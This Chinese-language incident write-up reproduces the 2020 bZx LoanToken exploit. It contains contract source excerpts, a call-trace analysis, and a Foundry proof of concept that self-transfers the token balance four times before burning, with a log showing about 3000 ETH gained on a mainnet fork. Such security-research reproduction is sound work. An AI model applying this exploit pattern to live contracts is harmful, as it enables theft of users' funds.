# defi 攻击复现 bzx

* 涉及到的交易和地址
    

攻击发生的交易 [https://etherscan.io/tx/0x36e36cae0a52f5bffe0323c7f5c186fe9aa62348c5cb7f336db4e5680f1902d5](https://etherscan.io/tx/0x36e36cae0a52f5bffe0323c7f5c186fe9aa62348c5cb7f336db4e5680f1902d5)

攻击者 attacker 地址 0xd1c0f1316140D6bF1a9e2Eea8a227dAD151F69b7

受害者 LoanToken 合约地址 0xB983E01458529665007fF7E0CDdeCDB74B967Eb6

委托调用 LoanTokenLogicWeth 合约地址 0xdE744d544A9d768e96C21B5F087Fc54b776E9b25

调用的 bZxProtocol 地址 0xD8Ee69652E4e4838f2531732a46d1f7F584F0b7f

被出借的 token 即 WETH9 地址 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2

委托调用 LoanMaintenance 合约合约地址 0x103936aEC861d7CFb2d5c7F9dd1a671085f5fDd3

* 可视化
    

[https://app.blocksec.com/explorer/tx/eth/0x36e36cae0a52f5bffe0323c7f5c186fe9aa62348c5cb7f336db4e5680f1902d5](https://app.blocksec.com/explorer/tx/eth/0x36e36cae0a52f5bffe0323c7f5c186fe9aa62348c5cb7f336db4e5680f1902d5)

* 交易详情
    

```plaintext
Transaction Hash:0x36e36cae0a52f5bffe0323c7f5c186fe9aa62348c5cb7f336db4e5680f1902d5
Status:Success
Block:10852716
Timestamp:1814 days ago (Sep-13-2020 09:07:43 AM UTC)

From:0xd1c0f1316140D6bF1a9e2Eea8a227dAD151F69b7
To:0xB983E01458529665007fF7E0CDdeCDB74B967Eb6
Internal Transactions:
Transfer200 ETH $860,856.17 From 0xB983E014...74B967Eb6 To Wrapped Ether ERC-20 
Tokens Transferred: 2
From bZx: bZx Protocol To 0xB983E014...74B967Eb6 For0.125715564647285939 $541.12 Wrapped Ethe... (WETH)
From Null: 0x000...000 To 0xd1c0f131...D151F69b7 For199.175731349382745647 ERC20 ***
Value:200 ETH $860,856.17

Input Data: Function: mintWithEther(address receiver)
MethodID: 0x8f6ede1f
[0]:  000000000000000000000000d1c0f1316140d6bf1a9e2eea8a227dad151f69b7
```

* 合约源码
    

```plaintext
LoanToken 合约
line 615-647
contract LoanToken is AdvancedTokenStorage {

    address internal target_;

    constructor(
        address _newOwner,
        address _newTarget)
        public
    {
        transferOwnership(_newOwner);
        _setTarget(_newTarget);
    }

    function()
        external
        payable
    {
        if (gasleft() <= 2300) {
            return;
        }

        address target = target_;
        bytes memory data = msg.data;
        assembly {
            let result := delegatecall(gas, target, add(data, 0x20), mload(data), 0, 0)
            let size := returndatasize
            let ptr := mload(0x40)
            returndatacopy(ptr, 0, size)
            switch result
            case 0 { revert(ptr, size) }
            default { return(ptr, size) }
        }
    }


LoanTokenLogicWeth 合约
line 528-530
    function withdrawAccruedInterest(
        address loanToken)
        external;

line 819-840
    function _mint(
        address _to,
        uint256 _tokenAmount,
        uint256 _assetAmount,
        uint256 _price)
        internal
        returns (uint256)
    {
        require(_to != address(0), "15");

        uint256 _balance = balances[_to]
            .add(_tokenAmount);
        balances[_to] = _balance;

        totalSupply_ = totalSupply_
            .add(_tokenAmount);

        emit Mint(_to, _tokenAmount, _assetAmount, _price);
        emit Transfer(address(0), _to, _tokenAmount);

        return _balance;
    }

line 872-874
    modifier settlesInterest() {
        _settleInterest();
        _;
    }

line 918-932
    function burn(
        address receiver,
        uint256 burnAmount)
        external
        nonReentrant
        returns (uint256 loanAmountPaid)
    {
        loanAmountPaid = _burnToken(
            burnAmount
        );

        if (loanAmountPaid != 0) {
            _safeTransfer(loanTokenAddress, receiver, loanAmountPaid, "5");
        }
    }

line 1495-1524
    /* Internal functions */

    function _mintToken(
        address receiver,
        uint256 depositAmount)
        internal
        settlesInterest
        returns (uint256 mintAmount)
    {
        require (depositAmount != 0, "17");

        uint256 currentPrice = _tokenPrice(_totalAssetSupply(0));
        mintAmount = depositAmount
            .mul(WEI_PRECISION)
            .div(currentPrice);

        if (msg.value == 0) {
            _safeTransferFrom(loanTokenAddress, msg.sender, address(this), depositAmount, "18");
        } else {
            require(msg.value == depositAmount, "18");
            IWeth(wethToken).deposit.value(depositAmount)();
        }

        _updateCheckpoints(
            receiver,
            balances[receiver],
            _mint(receiver, mintAmount, depositAmount, currentPrice), // newBalance
            currentPrice
        );
    }

line 1526-1555
    function _burnToken(
        uint256 burnAmount)
        internal
        settlesInterest
        returns (uint256 loanAmountPaid)
    {
        require(burnAmount != 0, "19");

        if (burnAmount > balanceOf(msg.sender)) {
            require(burnAmount == uint256(-1), "32");
            burnAmount = balanceOf(msg.sender);
        }

        uint256 currentPrice = _tokenPrice(_totalAssetSupply(0));

        uint256 loanAmountOwed = burnAmount
            .mul(currentPrice)
            .div(WEI_PRECISION);
        uint256 loanAmountAvailableInContract = _underlyingBalance();

        loanAmountPaid = loanAmountOwed;
        require(loanAmountPaid <= loanAmountAvailableInContract, "37");

        _updateCheckpoints(
            msg.sender,
            balances[msg.sender],
            _burn(msg.sender, burnAmount, loanAmountPaid, currentPrice), // newBalance
            currentPrice
        );
    }

line 1675-1686
    function _settleInterest()
        internal
    {
        uint88 ts = uint88(block.timestamp);
        if (lastSettleTime_ != ts) {
            ProtocolLike(bZxContract).withdrawAccruedInterest(
                loanTokenAddress
            );

            lastSettleTime_ = ts;
        }
    }

line 2176-2195
contract LoanTokenLogicWeth is LoanTokenLogicStandard {

    constructor(
        address _newOwner)
        public
        LoanTokenLogicStandard(_newOwner)
    {}

    function mintWithEther(
        address receiver)
        external
        payable
        nonReentrant
        returns (uint256 mintAmount)
    {
        return _mintToken(
            receiver,
            msg.value
        );
    }

line 2197-2215
    function burnToEther(
        address receiver,
        uint256 burnAmount)
        external
        nonReentrant
        returns (uint256 loanAmountPaid)
    {
        loanAmountPaid = _burnToken(
            burnAmount
        );

        if (loanAmountPaid != 0) {
            IWethERC20(wethToken).withdraw(loanAmountPaid);
            Address.sendValue(
                receiver,
                loanAmountPaid
            );
        }
    }


bZxProtocol 合约
line 696-711
contract LoanStruct {
    struct Loan {
        bytes32 id;                 // id of the loan
        bytes32 loanParamsId;       // the linked loan params id
        bytes32 pendingTradesId;    // the linked pending trades id
        uint256 principal;          // total borrowed amount outstanding
        uint256 collateral;         // total collateral escrowed for the loan
        uint256 startTimestamp;     // loan start time
        uint256 endTimestamp;       // for active loans, this is the expected loan end time, for in-active loans, is the actual (past) end time
        uint256 startMargin;        // initial margin when the loan opened
        uint256 startRate;          // reference rate when the loan opened for converting collateralToken to loanToken
        address borrower;           // borrower of this loan
        address lender;             // lender of this loan
        bool active;                // if false, the loan has been fully closed
    }
}

line 841-864
contract bZxProtocol is State {

    function()
        external
        payable
    {
        if (gasleft() <= 2300) {
            return;
        }

        address target = logicTargets[msg.sig];
        require(target != address(0), "target not active");

        bytes memory data = msg.data;
        assembly {
            let result := delegatecall(gas, target, add(data, 0x20), mload(data), 0, 0)
            let size := returndatasize
            let ptr := mload(0x40)
            returndatacopy(ptr, 0, size)
            switch result
            case 0 { revert(ptr, size) }
            default { return(ptr, size) }
        }
    }


LoanMaintenance 合约
line 1219-1237
    function vaultWithdraw(
        address token,
        address to,
        uint256 value)
        internal
    {
        if (value != 0) {
            IERC20(token).safeTransfer(
                to,
                value
            );

            emit VaultWithdraw(
                token,
                to,
                value
            );
        }
    }

line 1278-1312
    function _payInterest(
        address lender,
        address interestToken)
        internal
    {
        LenderInterest storage lenderInterestLocal = lenderInterest[lender][interestToken];

        uint256 interestOwedNow = 0;
        if (lenderInterestLocal.owedPerDay != 0 && lenderInterestLocal.updatedTimestamp != 0) {
            interestOwedNow = block.timestamp
                .sub(lenderInterestLocal.updatedTimestamp)
                .mul(lenderInterestLocal.owedPerDay)
                .div(1 days);

            lenderInterestLocal.updatedTimestamp = block.timestamp;

            if (interestOwedNow > lenderInterestLocal.owedTotal)
	            interestOwedNow = lenderInterestLocal.owedTotal;

            if (interestOwedNow != 0) {
                lenderInterestLocal.paidTotal = lenderInterestLocal.paidTotal
                    .add(interestOwedNow);
                lenderInterestLocal.owedTotal = lenderInterestLocal.owedTotal
                    .sub(interestOwedNow);

                _payInterestTransfer(
                    lender,
                    interestToken,
                    interestOwedNow
                );
            }
        } else {
            lenderInterestLocal.updatedTimestamp = block.timestamp;
        }
    }

    function _payInterestTransfer(
        address lender,
        address interestToken,
        uint256 interestOwedNow)
        internal
    {
        uint256 lendingFee = interestOwedNow
            .mul(lendingFeePercent)
            .divCeil(WEI_PERCENT_PRECISION);

        _payLendingFee(
            lender,
            interestToken,
            lendingFee
        );

        // transfers the interest to the lender, less the interest fee
        vaultWithdraw(
            interestToken,
            lender,
            interestOwedNow
                .sub(lendingFee)
        );
    }
}

line 1853-1862
    function withdrawAccruedInterest(
        address loanToken)
        external
    {
        // pay outstanding interest to lender
        _payInterest(
            msg.sender, // lender
            loanToken
        );
    }
```

攻击者调用 LoanToken 合约 mintWithEther 函数

传入参数：接收者=攻击者 但 LoanToken 合约不存在该函数名，有个无名函数 function()，于是调用该无名函数

无名函数 function() 函数使用内联汇编，委托调用 LoanTokenLogicWeth 合约 mintWithEther 函数

LoanTokenLogicWeth 合约确实存在 mintWithEther 函数

mintWithEther(address receiver) 函数 内部 \_mintToken(address receiver) 函数 传入参数：接收者=攻击者，存入数量= 200 ETH

通过\[委托调用转发\]，相当于把 LoanTokenLogicWeth 合约 mintWithEther 函数代码直接拿到 LoanToken 合约使用

由于 msg.value= 200 ETH，于是 mintToken 函数传入参数：接收者=攻击者，存入数量=200 ETH

执行 IWeth(wethToken).deposit.value(depositAmount)()，这样 LoanToken 合约就由攻击者存入了 200 ETH

根据\[存入数量\]和\[当前价格\]计算得出铸造数量 mintAmount=199,175,731,349,382,745,647

\_mintToken 函数体内 updateCheckpoints 函数传入 \_mint() 函数的结果

\_mint(address to,uint256 tokenAmount,uint256 assetAmount,uint256 price) 函数返回 LoanToken 代币的新余额

于是执行结果 LoanTokenLogicWeth 合约铸造 199,175,731,349,382,745,647 个 LoanToken 代币，转移给攻击者

同时 \_mintToken 函数带有修饰符 settlesInterest

settlesInterest() 函数内部函数 settleInterest

settleInterest() 函数调用 bZxContract 合约的 withdrawAccruedInterest 函数

但 bZxContract 合约不存在该函数名，有个无名函数 function()，于是调用该无名函数

无名函数 function() 函数使用内联汇编，委托调用 LoanMaintenance 合约 withdrawAccruedInterest 函数

通过\[委托调用转发\]，相当于把 LoanMaintenance 合约 withdrawAccruedInterest 函数代码直接拿到 LoanToken 合约使用

withdrawAccruedInterest(loanTokenAddress) 函数 内部 payInterest 函数 payInterest(address lender,address interestToken) 函数 内部 *\_*payInterestTransfer 函数

\_payInterestTransfer(lender,interestToken,interestOwedNow) 函数 内部 vaultWithdraw 函数

vaultWithdraw(address token,address to,uint256 value) 函数

传入参数：出借人地址=提取转入地址=攻击者，出借的 token 即计息资产地址= WETH9，提取数量=当前应付利息-出借手续费=0.125715564647285939 WETH9

* EXP
    

[https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-09/bzx\_exp.sol](https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-09/bzx_exp.sol)

```plaintext
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "./basetest.sol";
import "./interface.sol";

// @KeyInfo - Total Lost :
// Attacker : https://etherscan.io/address/0xd1c0f1316140D6bF1a9e2Eea8a227dAD151F69b7
// Vulnerable Contract : https://etherscan.io/address/0xb983e01458529665007ff7e0cddecdb74b967eb6
// Attack Tx : https://etherscan.io/tx/0x85dc2a433fd9eaadaf56fd8156c956da23fc17e5ef83955c7e2c4c37efa20bb5

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xde744d544a9d768e96c21b5f087fc54b776e9b25#code

// @Analysis
// Twitter Guy : https://x.com/0xCommodity/status/1305354469354303488

pragma solidity ^0.8.0;

contract bzx is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 10_852_716 - 1;// 攻击发生在 10852716 区块，定义前一个区块

    ILoanTokenLogicWeth constant loanToken = ILoanTokenLogicWeth(0xB983E01458529665007fF7E0CDdeCDB74B967Eb6);
// 把受害者 LoanToken 合约地址传入 ILoanTokenLogicWeth 接口，定义 loanToken 实例，该实例能够使用其函数

    function setUp() public {
        vm.createSelectFork("mainnet", blocknumToForkFrom);// 分叉
        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
        fundingToken = address(0x0);// 铸币的源地址
    }

    function testExploit() public balanceLog {
        //implement exploit code here
        vm.deal(address(this), 200 ether); // 给当前合约[攻击者]分配 200 ETH
        loanToken.mintWithEther{value: 200 ether}(address(this));// 调用 loanToken 实例的 mintWithEther 函数，传入参数[接收者=攻击者][msg.value=200 ETH]

        // transfer token to myself repeatedly
        for (int256 i = 0; i < 4; i++) {// 设置 4 次循环
            uint256 balance = loanToken.balanceOf(address(this));// 获得当前合约[攻击者]的余额
            loanToken.transfer(address(this), balance);// 调用 loanToken 实例的 transfer 函数，向当前合约[攻击者]转移余额
        }

        uint256 balance = loanToken.balanceOf(address(this));// 获得当前合约[攻击者]的余额
        loanToken.burnToEther(address(this), balance);// 调用 loanToken 实例的 burnToEther 函数，向当前合约[攻击者]转移余额

        payable(address(0x0)).transfer(200 ether); // 销毁 200 ETH 
    }

    fallback() external payable {}// 回退函数，收取 ETH
}
```

* 测试结果
    

```plaintext
$ forge test bzx_exp.t.sol -vvv
[?] Compiling...
[?] Compiling 22 files with Solc 0.8.30
[?] Solc 0.8.30 finished in 12.10s
Compiler run successful with warnings:

Ran 1 test for test/bzx_exp.t.sol:bzx
[PASS] testExploit() (gas: 358769)
Logs:
  Attacker ETH Balance Before exploit: 0.000000000000000000
  Attacker ETH Balance After exploit: 2999.999999999999999994

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 245.61s (207.80s CPU time)
Ran 1 test suite in 245.64s (245.61s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```
